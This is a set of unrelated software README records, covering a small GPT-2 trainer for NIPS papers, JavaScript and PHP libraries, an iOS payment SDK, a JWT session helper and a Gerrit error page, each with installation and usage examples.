text:
# Transformer NIPS Generator

Was bored and needed to test a simple language generator model, will be using it in-house at the company I work at. The code is used from the original [OpenAI repo](https://github.com/openai/gpt-2) as the functionality is pretty much the same. **The code runs on our local system and slight changes have been made (we used our internal libraries, so needed to be removed!), models will run but wrappers might be buggy (fixing them will be practice for you). We use `macOS` and `ubuntu` internally so I tried to fix the paths where possible**. If you fix those for your use case, I would greatly appreciate if you send in a PR.

We used this method to train from scratch as we needed something to be very specific to our task instead of a complete english languge generator, and using G**P**T2 meant using a huge vocabulary and processing power. Also I couldn't find a simple repo where I could train the model from scratch on custom datasets, so hacked around a bit.

## Files

Following are the files used in the code, note that they are combined and sligtly different from the ones on the repo. Also I use Google's `sentencepiece` module instead of the `bpe` used in the repo.

1. `scrape_nips.py`: Script to download the NIPS papers starting from 1987. This is not a script I made but copied from somewhere, I don't remember, very grateful however. Also this part uses PDF processing backend, which is tricky to install so make sure you install it on your system.

2. `clean_nips.py`: To clean the downloaded responses and create the subword encoder module. This is different from the one used by OpenAI and other implementations on the web. I prefer to use `sentencepiece` as that is what we also use internally for our testing. Arguments as below
```
Script to clean the downloaded NIPS papers data. The behaviour is slightly
unpredictable and depends upon your vocabulary.
--folder:           Folder with data, we will "walk" over this folder
--model:            Name of sentencepiece model
--sentence_length:  Number of characters to keep in each sequence
--hard_vocab_limit: If the text cannot be split into a given vocab size
                    the sentence piece returns an error, this is used to
                    fix that problem. But this can result in dynamic sized
                    vocabulary.
--vocab_size:       Size of the vocabulary to use
```

3. `utils.py`: This file has all the utility functions and classes we use for running our model, note that this has way more things than what are actually used. I first wrote the code then trid to understand how they are used, found many of them to be not suitable for my needs but are still there.

4. `model.py`: One thing I really love about the OpenAI's coding style, which others might also used not aware of that, is that everything is `functions` and not `classes` it makes writing scripts way more easier than coding up a complete class and improves reusability.

5. `gt0.py`: main file to train the model, has support for tensorboard and model saving, etc. built in. Args:
```
Script to train GPT2 model on any data
--file:         path to cleaned data txt file
--spm_model:    name of sentencepiece model
--network_name: name to give to network
--n_ctx:        size of window (sentence) to use
--e_dim:        embedding dimension value
--n_stacks:     number of stacks to use
--n_heads:      number of heads in multihead attention
--bs:           minibatch size
--lr:           learning rate
--temprature:   temprature plays with variations
--top_k:        number of samples to take in multinomial distributions.
                Basically we go over these samples [for each batch] and
                train the model, learns by variating on the data.
--epochs:       number of training epochs
```

## Usage

To use this model we first need to download the data perform preprocessing and cleaning, following instructions deal with that:
```bash
$ python3 scrape_nips.py # this will take very long (hours)
$ python3 clean_nips.py [args]
```

Now that we have the cleaned data and our subword model is built we can train our network. **Note that this is also from internal testing, might be a bit buggy do fix it (practice :P)**.
```bash
$ python3 gt0.py [args]
$ cd ./name_of_model/
$ tensorboard --logdir=. # for loss visualisation
```

## Samples
I only trained for a few epochs and I have very, **very** limited computational power and so I cannot work on more. Adding a fix to use these slightly trained model and continue training on them when I can. Complete dumps till now are [here](./samples/dumps.txt). as you can see below the model is learning, albeit very slowly and slightly.

```
======== EPOCH 0 ========
e,gth ed as wemsed as dgr  of e andery of to inged.cdoreac a ieing
ugpd the reands txos andr a ofnetalpss stgedssmchu. chs ing  ⁇ ing
and ors,an oru ai., thea am the and  ⁇  and and,m asssb  ⁇ u
amsper.athoss. and al anddyd eceation esycesbs and ofu anding.ysan
and x of in in andal th andim and theudation abal the s r ch to and
tos ands of iss the e ande the theil ands - the thess ls s
thialsssceer  aaa the,. we im r  ther andorationr and xdsm istr of
esd andal in ugs asm of eee of theal andp. and e ⁇ d, and andpsed
and and a anda andth and ands al in the adiingseingmsueds,   ⁇ , a
d andpses and the e and ando of,pt soe ybd  ⁇ m lnsedlyor andys.
and ins rd aation c.  ⁇ utand the tobb as and ands  thb ande to
andationeds. andc, in the uyais a in. al e and.sss to and
ofchalo,eoe.o and  ⁇  theu. weings ass) ander and

======== EPOCH 24 ========
approach asumed to as the lower of the classifiers. in the show
large-se methods such all representation error of and allow. the
parameters of the placiated in these dcreassenable independence
in the graph-dimensionarpirically efficient estimations, and that
are makes this all-based function. we also algorithm for
supporsiveness of then approaches the points qualtification of all
largetly, in as a linear closss is the md (e.g., efful allower,
andthus, its an output). a eval-cclude. al. formulations. formulations,
sp two submoothnes of the probabilistic very simple losss optimization
of the do not representational complexity is large colucing that the
process of locations a variant ass well assumpiate over the
improvements., we exceponential likelihood. we present as a eves
inputs. a local because the formly the trapical models by are inputs,
their identifying estimates to dependence of the find the also process
the learning latent and algorithm can optimal mesk minimizes labeled
data set of the regulation, nature.ict
```

Also the tensorboard screenshot, note that y-axis is log-scaled. This is just because it is easier to see what is happening when the values change very slightly.

<img src="./assets/tb0.png">


text:
# base-methods [![NPM version](https://badge.fury.io/js/base-methods.svg)](http://badge.fury.io/js/base-methods)

> Starter for creating a node.js application with a handful of common methods, like `set`, `get`, and `del`.

## Install

Install with [npm](https://www.npmjs.com/)

```sh
$ npm i base-methods --save
```

## Usage

```js
var Base = require('base-methods');
```

**inherit**

```js
function Foo() {
  Base.call(this);
}
Base.extend(Foo);
```

**instantiate**

```js
var base = new Base();
base.set('foo', 'bar');
console.log(base.foo);
//=> 'bar'
```

**Inherit or instantiate with a namespace**

A `.create()` method is exposed on the exported function to allow you to create a custom namespace for setting/getting on the instance.

```js
var Base = require('base-methods').create('cache');
var base = new Base();
base.set('foo', 'bar');
console.log(base.cache.foo);
//=> 'bar'
```

## API

### [Base](index.js#L20)

Create an instance of `Base` with `options`.

**Params**

* `options` **{Object}**

**Example**

```js
var app = new Base();
app.set('foo', 'bar');
console.log(app.get('foo'));
//=> 'bar'
```

### [.use](index.js#L52)

Define a plugin function to be called immediately upon init. Plugins are chainable and the only parameter exposed to the plugin is the application instance.

**Params**

* `fn` **{Function}**: plugin function to call
* `returns` **{Object}**: Returns the item instance for chaining.

**Example**

```js
var app = new Base()
  .use(foo)
  .use(bar)
  .use(baz)
```

### [.set](index.js#L82)

Assign `value` to `key`. Also emits `set` with the key and value.

**Params**

* `key` **{String}**
* `value` **{*}**
* `returns` **{Object}**: Returns the instance for chaining.

**Example**

```js
app.on('set', function(key, val) {
  // do something when `set` is emitted
});

app.set(key, value);

// also takes an object or array
app.set({name: 'Halle'});
app.set([{foo: 'bar'}, {baz: 'quux'}]);
console.log(app);
//=> {name: 'Halle', foo: 'bar', baz: 'quux'}
```

### [.get](index.js#L113)

Return the stored value of `key`. Dot notation may be used to get [nested property values][get-value].

**Params**

* `key` **{*}**
* `escape` **{Boolean}**
* `returns` **{*}**

**Example**

```js
app.set('foo', 'bar');
app.get('foo');
// => "bar"
```

### [.del](index.js#L137)

Delete `key` from the instance. Also emits `del` with the key of the deleted item.

**Params**

* `key` **{String}**
* `returns` **{Object}**: Returns the instance for chaining.

**Example**

```js
app.del(); // delete all
// or
app.del('foo');
// or
app.del(['foo', 'bar']);
```

### [.define](index.js#L177)

Define a non-enumerable property on the instance.

**Params**

* `key` **{String}**
* `value` **{any}**
* `returns` **{Object}**: Returns the instance for chaining.

**Example**

```js
// arbitrary `render` function using lodash `template`
define('render', function(str, locals) {
  return _.template(str)(locals);
});
```

### [.visit](index.js#L193)

Visit `method` over the items in the given object, or map
visit over the objects in an array.

**Params**

* `method` **{String}**
* `val` **{Object|Array}**
* `returns` **{Object}**: Returns the instance for chaining.

### [.mixin](index.js#L211)

Mix property `key` onto the Base prototype. If base-methods
is inherited using `Base.extend` this method will be overridden
by a new `mixin` method that will only add properties to the
prototype of the inheriting application.

**Params**

* `key` **{String}**
* `val` **{Object|Array}**
* `returns` **{Object}**: Returns the instance for chaining.

### [.extend](index.js#L225)

Static method for inheriting both the prototype and
static methods of the `Base` class. See [class-utils][]
for more details.

### [.inherit](index.js#L235)

Similar to `util.inherit`, but copies all static properties,
prototype properties, and descriptors from `Provider` to `Receiver`.
[class-utils][] for more details.

## Related projects

* [base-data](https://www.npmjs.com/package/base-data): adds a `data` method to base-methods. | [homepage](https://github.com/jonschlinkert/base-data)
* [base-options](https://www.npmjs.com/package/base-options): Adds an `option` method to base-methods. | [homepage](https://github.com/jonschlinkert/base-options)
* [class-utils](https://www.npmjs.com/package/class-utils): Utils for working with JavaScript classes and prototype methods. | [homepage](https://github.com/jonschlinkert/class-utils)
* [define-property](https://www.npmjs.com/package/define-property): Define a non-enumerable property on an object. | [homepage](https://github.com/jonschlinkert/define-property)
* [get-value](https://www.npmjs.com/package/get-value): Use property paths (`  a.b.c`) to get a nested value from an object. | [homepage](https://github.com/jonschlinkert/get-value)
* [set-value](https://www.npmjs.com/package/set-value): Create nested values and any intermediaries using dot notation (`'a.b.c'`) paths. | [homepage](https://github.com/jonschlinkert/set-value)
* [unset-value](https://www.npmjs.com/package/unset-value): Delete nested properties from an object using dot notation. | [homepage](https://github.com/jonschlinkert/unset-value)

## Running tests

Install dev dependencies:

```sh
$ npm i -d && npm test
```

## Contributing

Pull requests and stars are always welcome. For bugs and feature requests, [please create an issue](https://github.com/jonschlinkert/base-methods/issues/new).

## Author

**Jon Schlinkert**

+ [github/jonschlinkert](https://github.com/jonschlinkert)
+ [twitter/jonschlinkert](http://twitter.com/jonschlinkert)

## License

Copyright © 2015 Jon Schlinkert
Released under the MIT license.

***

_This file was generated by [verb-cli](https://github.com/assemble/verb-cli) on October 07, 2015._

[class-utils]: https://github.com/jonschlinkert/class-utils
[collection-visit]: https://github.com/jonschlinkert/collection-visit
[component-emitter]: https://github.com/component/emitter
[define-property]: https://github.com/jonschlinkert/define-property
[get-value]: https://github.com/jonschlinkert/get-value
[lazy-cache]: https://github.com/jonschlinkert/lazy-cache
[set-value]: https://github.com/jonschlinkert/set-value
[unset-value]: https://github.com/jonschlinkert/unset-value

license: MIT

repository: edgarapaza/katari

branch_name: refs/heads/main

extension: md

license_type: permissive

repo_name: edgarapaza/katari


text:
---
name: User feedback
about: Give your opinion (positive or negative) about the project or a feature.
title: ''
labels: user feedback
assignees: nilp0inter

---

**I am giving feedback about:**
Put here the subject of your opinion (the project, code, community...)

**My opinion is:**
A short phrase describing your thoughts.

**I believe that because:**
Longer explanation of the previous opinion.

**But:**
- If your opinion was negative explain how this situation can be changed.
- If your opinion was positive explain how can we do this even better.

branch_name: refs/heads/master


text:
# sodium-browserify

A polyfil between the apis of [node-sodium](https://github.com/paixaop/node-sodium/)
and [libsodium-wrappers](https://github.com/jedisct1/libsodium.js), heir to [crypto-browserify](https://github.com/crypto-browserify/crypto-browserify)

Mainly, this wraps libsodium-wrappers to make it work with buffers,
and pass the same tests as it does in node, and in the browser.

## UPDATE: WebAssembly!

This now uses webassembly, for a massive speed improvement.
one of the weird quirks of webassembly is that it gets loaded async,
which means you'll only get this speed improvement after waiting a little while,
say 50ms, but in most applications something else will need to load, such as reading database
state or waiting for connections, so this will happen on it's own.

If you try to use this before the wasm has loaded, it will fallback to tweetnacl.

An event is available to ensure wasm is loaded before proceeding:

```
var s = require('sodium-browserify')

s.events.on('sodium-browserify:wasm loaded', function() {
  console.log("wasm was loaded!")
})
```

Tests are generated from sodium, with values stored in JSON so that they can be run in the browser.

## License

MIT

repository: dominictarr/sodium-browserify

gha_language: JavaScript

gha_license_id: MIT

repo_name: dominictarr/sodium-browserify


text:
#Introduction

App360 Payment SDK is a part of App360 Platform, it provides easiest way to integrate payment service (including sms, phone card and e-banking) into your application.

The App360 Payment iOS SDK supports iOS version 6.0 and above.

#Requirements

##Development Environment

| App360SDK Version | Minimum iOS Target | 				Notes 			|
|:-----------------:|:------------------:|:----------------------------:|
|1.5.0|6.0|Xcode 6.1 is required. Support armv7, armv7s and arm64 architectures (+ i386 for the simulator)|

###Library compatibility

The App360 iOS SDK supports all iOS 6.0 and above versions. It compiles against the armv7, armv7s and arm64 architectures (+ i386 for the simulator).

###Xcode

We are using Xcode 6.4 to create our demo projects. You may encounter some errors if you are using a lower version of Xcode. That's why we recommend you work on the latest (non-beta) available version.

###App360

App360 Payment SDK use appscoped-id session of App360SDK to make payment. So, you must integrate with App360SDK first in order to call any payment API.

#Getting started with Demo project

Firstly, clone or download this repository to your machine.

- `git clone https://github.com/app360/app360-payment-ios-sdk.git`
- Or, download from https://github.com/app360/app360-payment-ios-sdk/releases

Open AppDelegate.m inside demo project, find `initializeWithApplicationId` line and replace the placeholders with your application credentials.

Run the project. The app demonstrates capability of App360 SDK, including app-scoped ID and payment.

# 3 Step to integrate with App360SDK

## 1. Integrate with App360SDK

The first thing you need to do is integrate your game/app with App360SDK. For more information, please read [App360SDK document](https://github.com/app360/app360-ios-sdk) to know how to do that.

## 2. Download Payment SDK

There are multiple ways to include the App360 Payment SDK into an Xcode project. We can use CocoaPods, manually include the framework and its dependencies

> ### Cocoapod (Coming soon)
> CocoaPods is the fastest way to get up and running with App360 in your iOS app. Just add the following to your Podfile, pod install, and skip to Getting started in Xcode
> ```
pod 'App360-Payment-SDK', '>= 1.5.0'
```
> ### Download App360-Payment-SDK
> Download the iOS SDK from the this repo, unzip the App360 Payment SDK file, drag the .framework folder to your XCode project under Frameworks

## 3. Integrate with Payment SDK

### 3.1. Payment flow

Before going to integrate with any API, you should look and know about payment flow of App360 Platform.

In order to secure payment flow, your application might choose to integrate with our SDK on both client-side and server-side, in which case the payment flow is depict in the following diagram:

![Payment flow](http://www.websequencediagrams.com/cgi-bin/cdraw?lz=dGl0bGUgUGF5bWVudCBzZXF1ZW5jZQoKR2FtZS0-U0RLOgAUCXJlcXVlc3QgKDEpClNESy0-R2FtZTogVHJhbnNhY3Rpb24gaWQsIHN0YXR1cywgYW1vdW50ICgyKQBGB0dhbWUgc2VydmVyOiBzZW5kIHQAMAtkYXRhIGZvciBpbnNwZQBJBigzAF8LADIJACoMaWQAYQgsIHVzZXJfaWQgKDQAbAYAZQcAgT8HYWNrIChIVFRQAIEaByAyMDApICg1AB0PAIEYDWNvbmZpcm0gKDYAExMAFAs3KQ&s=rose)

1. The application (client-side) calls payment API from the SDK, optionally with a custom payload (documented below).
2. The SDK returns transaction id and other details (if available)
3. The application client sends transaction data to its server awaiting confirmation
4. SDK server calls a pre-registered endpoint of the application server to notify about transaction status when it completes
    - Note that there is no guarantee about the order of (3) and (4) (i.e. (4) may happen before (3))
5. Application server acknowledges SDK server's call by responding with HTTP status code 200.
6. Application server validates the transaction based on the information it has (transaction ID, payload, etc.)
7. Application server confirms/notifies game client about the status of the transaction

**Note**:
- To register your application's server endpoint, go to https://developers.app360.vn/; set _Payment callback endpoint_ in application details page, _Information_ tab.
- Before using any payment methods, the application must first initialize the SDK. See section _SDK Initialization_ above.

### 3.2. Making SMS transaction

To make a sms transaction, client must call SDK API to request make transaction. After received request, SDK will call to SDK's server and return a list of available sms syntax. Client open send sms dialog to guide user make transaction with information is provided.

```objective-c
//Set payload string. The addition infomation you want to send with transaction. such as id of user make this transaction
//This payload string will send to callback URL (that configured on dashboard) when transaction finish successfully
NSString *payload = @"gamer-id";

[App360Payment requestSMSSyntaxWithAmount:@"500, 10000, 15000, 50000" vendor:kMOGVendorVinaphone payload:payload block:^(MOGSMSResponseObject *responseObject, NSError *error)
{
    if (error) {
        //API request failed

    } else if (responseObject.code == MOGAPICodeError){
        //API response 200 OK but something wrong

    } else {
        //success
        NSString *transactionId  = responseObject.transactionId;
        MOGTransactionType type = responseObject.type; //It should be MOGTransactionTypeSMS
        MOGTransactionStatus status = responseObject.status; //It should be MOGTransactionStatusBegin, means server just create transaction but not receive sms

        NSLog(@"SMS transaction: %@, type: %@, status: %@", transactionId, NSStringFromType(type), NSStringFromStatus(status));

        NSArray *services = responseObject.services;
        for (MOGSMSItem *item in services) {
            NSString *syntax = item.syntax;
            NSString *sendTo = item.recipient;
            //Syntax charging
            NSLog(@"Send %@ to %@ to make transaction", syntax, sendTo);
        }
    }
}];
```

### 3.3. Making card transaction

After user enter card (phone card or game card) information and hit a button to purchase, client call SDK API to make transaction with information above.

```Objective-C
NSString *cardCode = @"card-code";
NSString *cardSerial = @"card-serial";

//Set payload string. The addition infomation you want to send with transaction. such as id of user make this transaction
//This payload string will send to callback URL (that configured on dashboard) when transaction finish successfully
NSString *payload = @"gamer-id";

[App360Payment makeCardTransactionWithVendor:kMOGVendorGate cardCode:cardCode cardSerial:cardSerial payload:payload block:^(MOGCardResponseObject *responseObject, NSError *error)
{
    if (error) {
        //API request failed
        NSLog(@"Error: %@", error.localizedDescription);

    } else if (responseObject.code == MOGAPICodeError){
        //API response 200 OK but something wrong
        NSLog(@"");
    } else {
        //success
        NSString *transactionId  = responseObject.transactionId;
        MOGTransactionType type = responseObject.type; //It should be MOGTransactionTypeSMS
        MOGTransactionStatus status = responseObject.status; //It should be MOGTransactionStatusBegin, means server just create transaction but not receive sms

        NSLog(@"Card transaction: %@, type: %@, status: %@", transactionId, NSStringFromType(type), NSStringFromStatus(status));
    }
}];
```

### 3.4. Making e-banking transaction

To make a e-banking transaction, client must call SDK API to request make transaction. After received request, SDK will call to SDK's server and return an url. Client open a web page that load url above and guide user make transaction on it.

```Objective-C
//Set payload string. The addition infomation you want to send with transaction. such as id of user make this transaction
//This payload string will send to callback URL (that configured on dashboard) when transaction finish successfully
NSString *payload = @"gamer-id";

[App360Payment makeBankingTransactionWithAmount:50000 payload:payload block:^(MOGBankingResponseObject *responseObject, NSError *error) {

    if (error) {
      //API request failed

    } else if (responseObject.code == MOGAPICodeError){
      //API response 200 OK but something wrong
      NSLog(@"e-banking charging error: %@", responseObject.message);
    } else {
      //success
      NSString *transactionId  = responseObject.transactionId;
      MOGTransactionType type = responseObject.type; //It should be MOGTransactionTypeSMS
      MOGTransactionStatus status = responseObject.status; //It should be MOGTransactionStatusBegin, means server just create transaction but not receive sms

      //The URL of webpage use to charge this transaction.After receive this URL, you can guild user to pay via that webpage
      NSURL *chargingURL = responseObject.payURL;

      NSLog(@"E-banking transaction: %@, type: %@, status: %@, URL: %@", transactionId, NSStringFromType(type), NSStringFromStatus(status), chargingURL.absoluteString);
    }
}];
```

# What's next?

- Checkout [our document](http://docs.app360.vn/) for more infomation of App360SDK
- Integrate with [Payment API](http://docs.app360.vn/?page_id=271)
- If you got any trouble, checkout the [FAG page](http://docs.app360.vn/?page_id=228) or send a support request

#Support
Please contact<EMAIL_ADDRESS>for general inquiries.

##For a technical issue
In case you have a technical issue, you can reach [our technical support team](mailto:support@app360.vn).
Please provide the following information when you reach out, it'll allow us to help you much more quickly.

 - **The library version** you're using. You can get the precise number by
   printing the result of the `[App360SDK getSDKVersion];` method.
 - **The platform** used to produce the problem (device model or simulator),
   and the iOS version.
 - **The steps** to reproduce the problem.
 - If possible, **some pieces of code**, or even a project.

> For more information, please go to https://developers.app360.vn.


text:
You can see the commit messages for existing commits in the history by
doing a [git
log](http://www.kernel.org/pub/software/scm/git/docs/git-log.html).

If it was the intention to rework a change and to push a new patch set,
find the change in the Gerrit Web UI, copy its Change-Id line and use it
to correct the invalid Change-Id line in the commit message of the
commit for which the push is failing. How to do this is explained
[here](error-push-fails-due-to-commit-message.html#commit_hook).

If it was the intention to create a new change in Gerrit simply remove
the invalid Change-Id line from the commit message of the commit for
which the push is failing. How to do this is explained
[here](error-push-fails-due-to-commit-message.html#commit_hook). In case
you have configured the [commit hook](cmd-hook-commit-msg.html) a new
valid Change-Id will be automatically generated and inserted.

## SEE ALSO

  - [Change-Id Lines](user-changeid.html)

## GERRIT

Part of [Gerrit Error Messages](error-messages.html)

## SEARCHBOX

repository: omunroe-com/gerrihmpg

repo_name: omunroe-com/gerrihmpg


text:
# cpf-check
CPF validator, generator and formatter that runs both in the browser and in the server. Incredibly Small 2.2KB (890bytes gziped!).

[![Build Status](https://travis-ci.org/flasd/cpf-check.svg?branch=master)](https://travis-ci.org/flasd/cpf-check)
[![Coverage Status](https://coveralls.io/repos/github/flasd/cpf-check/badge.svg?branch=master)](https://coveralls.io/github/flasd/cpf-check?branch=master)
[![npm version](https://badge.fury.io/js/cpf-check.svg)](https://www.npmjs.com/package/cpf-check)
[![npm downloads per month](https://img.shields.io/npm/dm/cpf-check.svg)](https://www.npmjs.com/package/cpf-check)

(README available in portuguese in [README-pt-BR](https://github.com/flasd/cpf-check/blob/master/README-pt-BR.md)).
## Instalation
Install the latest version of cpf-check:
```
npm install cpf-check --save
```
Then you can use it in your index.html
```html
<script type="text/javascript" src="./node_modules/cpf-check/dist/cpf.min.js"></script>
// window.CPF
```
Or, you can import it as a module:
```javascript
const CPF = require('cpf-check');

// or, in ES6+

import CPF from 'cpf-check';
```
The module is compliant with [UMD](https://github.com/umdjs/umd), so it's compatible with RequireJS, AMD, CommonJs 1 & 2, etc. :hushed:

## API & Usage
#### CPF() & CPF.validate();
Method signature:
```c
Boolean validate(String CPF);
```
The `CPF()` methods is an alias for `CPF.validate()`. The default export is a function that validates CPFs.
```javascript
const CPF = require('cpf-check')
const someCPF = '676.754.677-10';

CPF(someCPF);
// true

CPF.validate(someCPF);
// true
```

#### CPF.generate();
Method signature:
```c
String generate();
```
This method generatres valid CPFs.

```javascript
CPF.generate();
// '676.754.677-10'
```

#### CPF.parse();
Method signature:
```c
String parse(String text);
```
Parse CPFs from text strings using RegEx:
```javascript
const myText = 'Hey, my CPF is 676.754.677-10';

CPF.parse(myText);
// '676.754.677-10'
```

#### CPF.format();
Method signature:
```c
String format(String rawCPF);
```
Format beautifies CPF strings:
```javascript
const myCpf = '67675467710';

CPF.format(myCpf);
// '676.754.677-10'
```

#### CPF.strip();
Method signature:
```c
String strip(String cuteCPF);
```
Strip uglifies CPF strings: This does the oposite of the  `format()`  method.
```javascript
const myCuteCpf = '676.754.677-10';

CPF.strip(myCuteCpf);
// '67675467710'
```

### Copyright and License

Copyright (c) 2017 [Marcel de Oliveira Coelho](https://github.com/flasd) under the [MIT license](https://github.com/flasd/cpf-check/blob/master/LICENSE.md).

repository: torto/cpf-check

repo_name: torto/cpf-check


text:
# Sessions

The `SessionBox` class extends `JotBox` with features that
are particularly useful for working with login sessions.

It adds first-class support for the
[subject](https://tools.ietf.org/html/rfc7519#section-4.1.2) (`sub`) claim
of JWT. That is often used to encode a user ID or username into a JWT.

Currently id only adds support for revoking all tokens created for a
particular subject. E.g. you can use this for a "Log out on all devices" feature.

Here is a quick example:

```python3
{!../examples/sessions.py!}
```

To break it down:

## Session model

```python3
from jotbox import Session

...

UserSession = Session[int]
```

This is the model for our payload that gets encded to JWT.
This is the same as the default [`Payload`](payload-model)
but adds one extra field `sub`

This is a generic class and you must specify the data type type of your sub claim.
It can be any type you want, for example if your user IDs are uuids, you can use:

```python3
from uuid import UUID

UserSession = Session[UUID]
```

You can also subclass and add extra fields as needed:

```python3
from typing import List

class UserSession(Session[UUID]):
    permissions: List[str]
    email: str
```

## Session whitelist

```
from jotbox.whitelist.redis import SessionRedisWhitelist

...
    whitelist=SessionRedisWhitelist("redis://<IP_ADDRESS>"),
...
```

This implementation of redis whitelist is extended from the regular [whitelist](whitelist-and-revoke-tokens).
It includes the value of `sub` when storing tokens and adds the ability to delete
all tokens of a given `sub`.

You can also use a different storage method by creating your own whitelist class
based on `jotbox.whitelist.base.SessionWhitelist` and implementing the
`add`, `touch`, `exists`, `delete` and `delete_sub` methods.

repository: steinitzu/jotbox

gha_language: Python

repo_name: steinitzu/jotbox


text:
#Databases Factory & Service Locator

This Databases Connection Factory & Service Locator creates generic connections to common database APIs, provided by easy-to-use connection factories. When working with multiple databases, a Service Locator helps you creating those factories. It supports [PDO](http://de.php.net/manual/en/book.pdo.php), [mysqli](http://www.php.net/manual/en/book.mysqli.php) and [Aura.SQL v1.3](https://github.com/auraphp/Aura.Sql/tree/master).

[![Build Status](https://travis-ci.org/tomkyle/Databases.png?branch=master)](https://travis-ci.org/tomkyle/Databases)
[![Scrutinizer Quality Score](https://scrutinizer-ci.com/g/tomkyle/Databases/badges/quality-score.png?s=54034d47b7bf4a47315e94af685db4ecd5f61196)](https://scrutinizer-ci.com/g/tomkyle/Databases/)
[![Coverage Status](https://coveralls.io/repos/tomkyle/Databases/badge.png?branch=master)](https://coveralls.io/r/tomkyle/Databases?branch=master)

##In a Nutshell
###Single Database
1. Setup **DatabaseConfig** with associative array or StdClass
2. Create **DatabaseProvider** with config object (Dependency Injection)
3. **Grab your connection** for the database API you like

[Show it already!](#getting-started-single-database)

###Multiple Databases
1. **Describe database** connections in two-dimensional array or StdClass
2. Setup **DatabaseServiceLocator** with config object
3. Get **DatabaseProvider** from ServiceLocator
4. **Grab your connection** for the database API you like

[Show it already!](#multiple-databases-using-service-locator)

##Installation

This library has no dependencies except from Fabien Potencier's [Pimple](https://github.com/fabpot/Pimple) library. It is installable and autoloadable via Composer. During installation, Composer will suggest to install [Aura.SQL v1.3](http://github.com/auraphp/Aura.Sql/tree/1.3.0), if you have not already. Install from command line or `composer.json` file:

#####Command line

    composer require tomykle/databases

#####composer.json
    "require": {
        "tomkyle/databases": "~1.0"
    }

##Getting started: Single Database

###Overview
Each `DatabaseProvider` needs some info about the database in question, passed as parameter implementing the `DatabaseConfigInterface`. A ready-to-use implementation is the `DatabaseConfig`, which itself is configured either by an associative array or StdClass.

Now that you have your `DatabaseConfig` ready, simply pass to new `DatabaseProvider` and grab the connection you like.

###Example
```php
<?php
use \tomkyle\Databases\DatabaseConfig;
use \tomkyle\Databases\DatabaseProvider;

// 1a. Describe your database as array:
$describe = array(
  'host'     => "localhost",
  'database' => "database1",
  'user'     => "root",
  'pass'     => "secret",
  'charset'  => "utf8"
);

// 1b. Describe your database as StdClass:
$describe = json_decode('{
  "host":     "localhost",
  "database": "database1"
  # etc.
}');

// 2. Setup DatabaseConfig instance:
$config = new DatabaseConfig( $describe );

// 3. Create DatabaseProvider instance:
$factory = new DatabaseProvider( $config );

// 4. Grab Aura.SQL connection:
$aura = $factory->getAuraSql();
```

###Configuration options
If one of these fields is empty or missing, `DatabaseConfig` will throw a `RuntimeException`:

- **host:** The host name
- **database:** The name of the database
- **user** or **username:** the database user
- **pass** or **password:** the database password

Optional fields, with default values according to MySQL:

- **charset:** the charset to use, defaults to `utf8`
- **type:** the database type, defaults to `mysql`
- **port:** the database port, defaults to `3306`

###Retrieving connections

Each `DatabaseProvider` instance provides and instantiates different kinds of Singleton-like database connections. You may grab your connection either by calling a Getter method or access it as array key (the Pimple way):

####PDO Connections

```php
$pdo = $factory->getPdo();
// or
$pdo = $factory['pdo'];

echo get_class( $pdo );
// "PDO"
```

####Aura.SQL Connections

```php
aura = $factory->getAuraSql();
// or
$aura = $factory['aura.sql'];

echo get_class( $aura );
// "Aura\Sql\Connection\Mysql", for example

// Common configuration afterwards
$aura->setAttribute( \PDO::ATTR_ERRMODE,             \PDO::ERRMODE_EXCEPTION );
$aura->setAttribute( \PDO::ATTR_DEFAULT_FETCH_MODE,  \PDO::FETCH_OBJ);
```

####mysqli Connections

```php
$mysqli = $factory->getMysqli();
// or
$mysqli = $factory['mysqli'];

echo get_class( $mysqli );
// "mysqli"
```

##Multiple Databases: Using Service Locator

Assume your project deals with a couple of different databases, with credentials and stuff in a JSON config file. First, describe each connection with config options (see [full list below](#configuration-options)), like this:

#####Sample config file

```json
{
  "first_db" : {
    "host":     "db_host",
    "database": "db_name",
    "user":     "db_user",
    "pass":     "db_pass"
  },
  "second_db" : {
    "host":     "other_host",
    "database": "other_db",
    "user":     "other_user",
    "pass":     "other_pass",
    "type":     "not_mysql",
    "charset":  "utf8"
  }
}
```

###Usage

1. Parse config contents into a `StdClass` object
2. Create a new instance of `DatabaseServiceLocator`,
   passing in your database descriptions
3. Get your `DatabaseProvider` instance for your database
4. Let factory create generic connection:

```php
<?php
use \tomkyle\Databases\DatabaseServiceLocator;

$config = json_decode( file_get_contents( 'config.json' ));
$databases = new DatabaseServiceLocator( $config );

// 1. Get DatabaseProvider instance, Pimple-style:
$first_factory = $databases['first_db'];

// 2. Let factory create Aura.SQL connection:
$first_aura = $first_factory->getAuraSql();
```

###Retrieving connections
Each database passed in the `DatabaseServiceLocator` will be available like an array member. The database returned will be a Singleton-like instance of `DatabaseProvider`.

```php
$foo_factory = $databases['foo_db'];
echo get_class( $foo_factory );
// "DatabaseProvider"
```

Since both Service Locator and Factories are Pimple extensions, you can get your connection in one call as well:

```php
$databases = new DatabaseServiceLocator( $config );

$first_pdo    = $databases['first_db']->getPdo();
$first_mysqli = $databases['first_db']->getMysqli();
$first_aura   = $databases['first_db']->getAuraSql();

$second_pdo    = $databases['second_db']['pdo'];
$second_mysqli = $databases['second_db']['mysqli'];
$second_aura   = $databases['second_db']['aura.sql'];
```

##Best practice
If a class needs a special database connection, let's say PDO, here's how:

1. Get your connection provider
2. Let it create a PDO connection for you
3. Inject the resulting PDO.

…and the next class, relying on Aura.SQL dependencies:

4. Take the very same connection provider instance (remember: Singleton!)
5. Let it create a Aura.SQL connection for you
6. Inject the resulting Aura.SQL Mysql Connection.

This way, when things go wrong, they do so outside your business classes (Inversion of Control).

Paul M. Jones recently covers this topic in his recently published article [“What Application Layer Does A DI Container Belong In?”](http://paul-m-jones.com/archives/5914).

##Questions and Answers

###Wait, isn't this an Anti-Pattern?
**Yes, if you use** the DatabaseServiceLocator as dependency inside your classes, injecting it in constructors or Setter methods, type-hinting against it or not. **No, if you use** it in your composition root or configuration environment.

###How far are the connections configured?
Beside from their charset, the connections “ex factory” are not configured specially. So if you like to change the default fetch mode or (think of `PDO::setAttribute`), you may want to configure it yourself. Remember, each connection is generic!

###What about Aura.SQL v2 ?
Currently, DatabaseServiceLocator supports [Aura.SQL v1.3](http://github.com/auraphp/Aura.Sql/tree/1.3.0). With Aura v2 coming soon, Aura.SQL splits up into three modules *Aura.SQL v2  Aura.SQL_Query* and *Aura.SQL_Schema* – see Paul M. Jones' article [“A Peek At Aura v2 -- Aura.Sql and ExtendedPdo”](http://auraphp.com/blog/2013/10/21/aura-sql-v2-extended-pdo/).

